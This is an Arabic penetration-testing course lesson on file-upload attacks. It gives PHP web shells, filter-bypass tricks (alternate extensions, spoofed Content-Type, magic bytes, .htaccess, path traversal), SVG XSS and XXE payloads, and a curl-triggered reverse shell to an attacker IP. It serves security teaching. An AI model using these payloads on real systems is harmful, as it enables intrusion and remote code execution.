الدرس 16 من 24

هجمات تطبيقات الويب

ثغرات رفع الملفات

4 دقيقة للقراءة

وظائف رفع الملفات يمكن أن تؤدي لتنفيذ كود عن بعد إذا لم تُؤمَّن بشكل صحيح. يغطي هذا الدرس تجاوزات الرفع الشائعة.

فهم هجمات رفع الملفات

عندما تسمح التطبيقات برفع الملفات بدون تحقق مناسب، يمكن للمهاجمين:

متجهات الهجوم:
├── رفع web shells (PHP، JSP، ASP)
├── الكتابة فوق ملفات التكوين
├── رفع ملفات تنفيذية خبيثة
└── تخزين البرمجيات الخبيثة للتوزيع

رفع Web Shell الأساسي

PHP Shell بسيط

<?php system($_GET['cmd']); ?>

احفظ كـ shell.php وارفع. الوصول عبر:

http://target.com/uploads/shell.php?cmd=whoami

PHP Shell أكثر وظائف

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

تجاوز فلاتر الرفع

تجاوز القائمة السوداء للامتدادات

جرب امتدادات بديلة:

PHP:

.php3، .php4، .php5، .php7
.phtml، .phps، .pht، .phar
.PHP (تغيير الحالة)
.php.jpg (امتداد مزدوج)

ASP:

.asp، .aspx
.asa، .cer، .cdx
.ashx، .asmx

JSP:

.jsp، .jspx
.jsw، .jsv، .jspf

تجاوز Content-Type

عدّل ترويسة Content-Type في Burp Suite:

الأصلي: Content-Type: application/x-php
المعدل: Content-Type: image/jpeg

الأصلي: Content-Type: text/php
المعدل: Content-Type: image/png

تجاوز البايتات السحرية

أضف ترويسات صورة صالحة قبل كود PHP:

GIF:

GIF89a
<?php system($_GET['cmd']); ?>

PNG (hex):

\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>

JPEG:

\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>

تجاوز Null Byte (PHP قديم)

shell.php%00.jpg
shell.php\x00.jpg

الامتداد المزدوج

shell.php.jpg
shell.jpg.php
shell.php.png
shell.php%00.png

رفع .htaccess

إذا استطعت رفع ملفات .htaccess، مكّن تنفيذ PHP:

# محتوى .htaccess
AddType application/x-httpd-php .jpg

ثم ارفع shell.jpg يحتوي كود PHP.

اجتياز المسار في اسم الملف

حاول الرفع خارج الدليل المقصود:

filename="../shell.php"
filename="../../var/www/html/shell.php"
filename="..\..\..\inetpub\wwwroot\shell.aspx"

تضمين الصورة

حقن Exiftool

# حقن PHP في بيانات وصفية للصورة
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# إعادة تسمية لـ .php.jpg
mv image.jpg shell.php.jpg

باستخدام GIF

# إنشاء GIF صغير مع PHP
echo -e 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php

رفع ملف SVG

ملفات SVG يمكن أن تحتوي نصوص برمجية خبيثة:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg onload="alert('XSS')" xmlns="http://www.w3.org/2000/svg">
<defs>
<font id="x"><font-face font-family="exploit"/></font>
</defs>
</svg>

لـ SSRF:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://attacker.com/"> ]>
<svg>&xxe;</svg>

منهجية الاختبار

الخطوة 1: فهم وظيفة الرفع

أسئلة للإجابة عليها:
├── ما أنواع الملفات المسموحة؟
├── أين تُخزن الملفات؟
├── هل يمكنك الوصول للملفات المرفوعة مباشرة؟
├── ما اصطلاح التسمية المستخدم؟
└── هل هناك قيود على الحجم؟

الخطوة 2: اختبار الرفع الأساسي

# PHP shell بسيط
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# حاول الرفع والوصول

الخطوة 3: جرب التجاوزات

1. تغييرات الامتداد
2. التلاعب بـ Content-Type
3. البايتات السحرية
4. الامتدادات المزدوجة
5. Null bytes
6. تغييرات الحالة

الخطوة 4: إيجاد موقع الرفع

# المواقع الشائعة
/uploads/
/images/
/files/
/media/
/attachments/
/user_uploads/

ورقة غش التجاوز

نوع التجاوز التقنية
القائمة السوداء للامتداد .phtml، .php5، .phar
Content-Type التغيير لـ image/jpeg
البايتات السحرية إضافة بادئة GIF89a
الامتداد المزدوج shell.php.jpg
Null byte shell.php%00.jpg
تجاوز الحالة shell.PHP، shell.Php
.htaccess السماح لـ .jpg كـ PHP

الإجراءات بعد الرفع

بعد الرفع الناجح:

# الوصول للـ shell
curl "http://target.com/uploads/shell.php?cmd=id"

# الحصول على reverse shell
curl "http://target.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"

سير عمل اختبار رفع الملفات

1. تحديد وظيفة الرفع
2. رفع ملف عادي، تدوين الموقع
3. تجربة PHP shell بامتداد .php
4. إذا حُظر، جرب تجاوزات الامتداد
5. جرب التلاعب بـ Content-Type
6. جرب حقن البايتات السحرية
7. جرب الامتدادات المزدوجة
8. فحص رفع .htaccess
9. جرب اجتياز المسار في اسم الملف
10. الوصول للـ shell المرفوع

مع تغطية هجمات الويب، سننتقل لما بعد الاستغلال وتصعيد الصلاحيات في الوحدة التالية. :::

اختبار

الوحدة 4: هجمات تطبيقات الويب

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.